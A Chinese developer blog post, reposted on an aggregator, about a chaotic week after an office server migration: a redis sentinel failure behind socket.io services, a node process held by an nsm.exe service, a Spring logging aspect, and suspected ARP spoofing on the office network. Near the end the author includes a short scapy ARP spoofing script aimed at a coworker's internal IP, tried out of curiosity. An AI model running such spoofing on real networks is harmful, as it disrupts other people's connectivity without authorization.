博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
为了杀死一个node进程,我把服务器都重启了
阅读量:4210 次
发布时间:2019-05-26

本文共 4438 字,大约阅读时间需要 14 分钟。

最近真的太忙了,从早上干到晚上。总结一下最近的状态,一个字:忙,很忙,太忙了。既要改bug,又要调试环境,还要发包!中间各种坑,这里录一下我的经历。

背景:隔壁部门项目经理请了产假,之前都没接手过他们组的项目。大领导让将项目交接就给我,交接了一个文档,文档上边是git仓库地址,之后就没有什么信息了,之前因为git分支的问题,踩过坑。最近公司内网服务器统一管理,要求将所有部门的服务器全部搬到一楼机房。这一搬,服务器的ip都变了。项目中得地址也变了,包括接口地址、数据库地址、云盘地址,然后再和几个环境做一次笛卡尔积。总之就是很乱,原部门的经理打算乘乱将内网的所有服务全部通过nginx进行反代,将域名统一切到nginx上,从而降低tomcat和IIS的压力,除此之外外网环境,产品经理反映服务在早上和下午会零碎出现404页面,伴随的是接口慢,领导要跟随测试,在内网找到原因(因为太忙,我没管,另一个同事打算甩锅给我,我也没理,最后他们找到一些资料)。隔壁的一个部门搞hfs微服务,也需要反代理,还有阿里云服务器ECS购买。同事让我帮他整合log4j2。手里一大堆bug,领导天天群里喊我。不定时的电脑断网,怀疑是被人进行了ARP攻击。

因为服务调用非常杂乱,服务很多。.net、java、C++、node各种服务。服务器迁移导致断电,断点导致一些不是服务形式的应用无法工作。在将我服务的所有应用全部改完配置之后,随便点了一下,没啥问题。

问题一:一个同事调的我的接口,然后他们的接口正常返回,但是结果不对,导致他的业务一直停留,希望我检查接口或者服务配置。

解决:我仔细排查了配置,发现没有任何问题。同事不相信,让我跟他联调,通过联调,该业务中,我调另外一个同事的服务返回结果不对。向他诉说了问题之后,他又排查,最后发现是因为他们服务的配置没改,问题解决基本花费了多半天。沟通,debug和等待。

问题二:一些基于websocket的服务的时效性显著降低,甚至业务无法正常运行。

解决:为了使得websocket服务的公用性和可扩展性,之前的开发人员使用的socket.io,采用node的方式。node进程的管理使用了nsm.exe,nsm又被制作成了服务。因为是接手其他组的项目,我不了解这块。因为这个项目是项目经理负责的,其他同事又不知道具体什么原因。但是考虑到后端返回的数据没有问题,就是展示上出了问题。第一步将问题定位到了前端的js脚本。但是前端开发说她都没动过这个呀。然后让我将新的服务发布到测试环境,我发了却依然不行。经过讨论,他们认为是没有被nginx代理的问题,猜测是直接走ip不行,无奈我又加到nginx上,给了一个域名,但是任然不行。无意中看到有个error日志,打开一看,好大一片报错。

{"message":"adapter error: Error: All sentinels are unreachable. Retrying from scratch after 320ms. Last error: Connection is closed.","level":"error"}

大概得意思是redis哨兵连接不上了。我立马认为是redis同事是不是没配对,或者服务司死机了。

无奈我将我的node进程杀死,然后再重启了一下,希望能见到奇迹。最后还是不行。但是日志里出现了端口被占用的提示。最后百度了一个超级杀死node进程的方法:

taskkill /f /t /im node.exe

然后重启再看日志,发现端口还是被占用了。杀红眼的我决定重启服务器!一波操作之后发现端口还是被占用了.....

想到应该是搞成服务了,找了半天没找到服务名称(因为名称一般人想不到呀)。最后问到了。用了nsm.exe管理的node,用服务管理的nsm。把这些都关掉之后,重启了服务,其他的websocket都正常了。根本原因是用了老的redis地址,报错的原因是redis提前迁移的,端口绑定异常才是我们查找的重点。期间为了甩锅,我还写了一个日志切面。

@Log4j2@Aspect@Configurationpublic class RouterLogConfig {    /**     * 设置操作异常切入点记录异常日志 扫描所有controller包下操作     */    @Pointcut("execution(* net.dddd.mind.util.rest.RestApiUtils.*(..))")    public void routerLog() {    }    /**     * 执行之前进行     * @param joinPoint 切点     */    @Before(value = "routerLog()")    public void doBefore(JoinPoint joinPoint) {        Object[] args = joinPoint.getArgs();        MethodSignature sig = (MethodSignature) joinPoint.getSignature();        Method method = sig.getMethod();        if (null != method.getDeclaringClass().getName() && null != method.getName() && null != args && args.length > 0) {            StringJoiner stringJoiner=new StringJoiner(":");            Arrays.stream(args).forEach(c->{                if (!Objects.isNull(c)){                    stringJoiner.add(c.toString());                }});            log.info("{} . {} : request:{}", method.getDeclaringClass().getName(), method.getName(), stringJoiner.toString());        }    }    /**     * 返回打印日志     * @param joinPoint 切点     * @param keys 返回的数据     */    @AfterReturning(value = "routerLog()", returning = "keys")    public void saveOperLog(JoinPoint joinPoint, Object keys) {        MethodSignature sig1 = (MethodSignature) joinPoint.getSignature();        Method method1 = sig1.getMethod();        if (null != keys && null != method1.getDeclaringClass()) {            try {                log.info("{} . {} : reponse:{}", method1.getDeclaringClass().getName(), method1.getName(), keys.toString());            } catch (Exception e) {                log.warn(e.toString());            }        }    }}

问题:项目js脚本压缩优化,缩短页面响应时间

解决:开启后端静态文件压缩,nginx再压缩,效果还可以。

server.compression.enabled=trueserver.compression.mime-types=application/json,application/xml,text/html,text/xml,text/plain

问题:arp被攻击了,偶发性断网。使用arp -a 回显的地址往往为空,使用arp -s添加网关地址,还不被接受。

解决:一直想找到那个机器发送的arp包,为此还学了一下scapy、nmp。希望根据断网之后的arp的列表找到具体的工位,最后锁定了一个同事。最后考虑arp里的那个ip可能也不是他。所以放弃了。

一般网关都是动态ip,动态ip的就一直需要广播去找,所以设置成静态的话,就不能别改变了,也不去询问。所以可以arp攻击。

#查看网卡netsh i i show in

使用显示网关地址arp -a

添加网关到静态arpnetsh -c "i i" add neightbors 14 "192.168.21.1" "38-22-d6-0c-c4-79" 

当然咋也不忘学着攻击一下别人。但是发现效果不是很好,可能需要多发一些arp包吧!

from scapy.all import *from scapy.layers.l2 import Ether, ARPdef arpattach(target,ip):    pack=Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=target,psrc=ip)    pack.show()    sendp(pack)def execute(target,ip):    if ip is None:        print("攻击的ip不能为空")        sys.exit()    if target is None:        print("target不能为空")        sys.exit()    for i in range(50):        time.sleep(0.5)        arpattach(target,ip)if __name__ == '__main__':    execute("192.168.21.64","192.168.21.1")

本周比较有纪念意义的就上边这几个,除此之外帮助同事解决log4j2的包冲突,提示一下,直接使用maven的的检索,然后输入log,会出来一个springboot自己的strater,然后直接exclude就可以了。

转载地址:http://nlkmi.baihongyu.com/

你可能感兴趣的文章
Software Security Testing软件安全测试
查看>>
SQL注入漏洞全接触--进阶篇
查看>>
SQL注入漏洞全接触--高级篇
查看>>
SQL注入法攻击一日通
查看>>
论文浅尝 | 通过共享表示和结构化预测进行事件和事件时序关系的联合抽取
查看>>
论文浅尝 | 融合多粒度信息和外部语言知识的中文关系抽取
查看>>
论文浅尝 | GMNN: Graph Markov Neural Networks
查看>>
廖雪峰Python教程 学习笔记3 hello.py
查看>>
从内核看epoll的实现(基于5.9.9)
查看>>
python与正则表达式
查看>>
安装.Net Framework 4.7.2时出现“不受信任提供程序信任的根证书中终止”的解决方法
查看>>
input type=“button“与input type=“submit“的区别
查看>>
解决Github代码下载慢问题!
查看>>
1.idea中Maven创建项目及2.对idea中生命周期的理解3.pom文件夹下groupId、artifactId含义
查看>>
LeetCode-栈|双指针-42. 接雨水
查看>>
stdin,stdout,stderr详解
查看>>
Linux文件和设备编程
查看>>
文件描述符
查看>>
终端驱动程序:几个简单例子
查看>>
登录linux密码验证很慢的解决办法
查看>>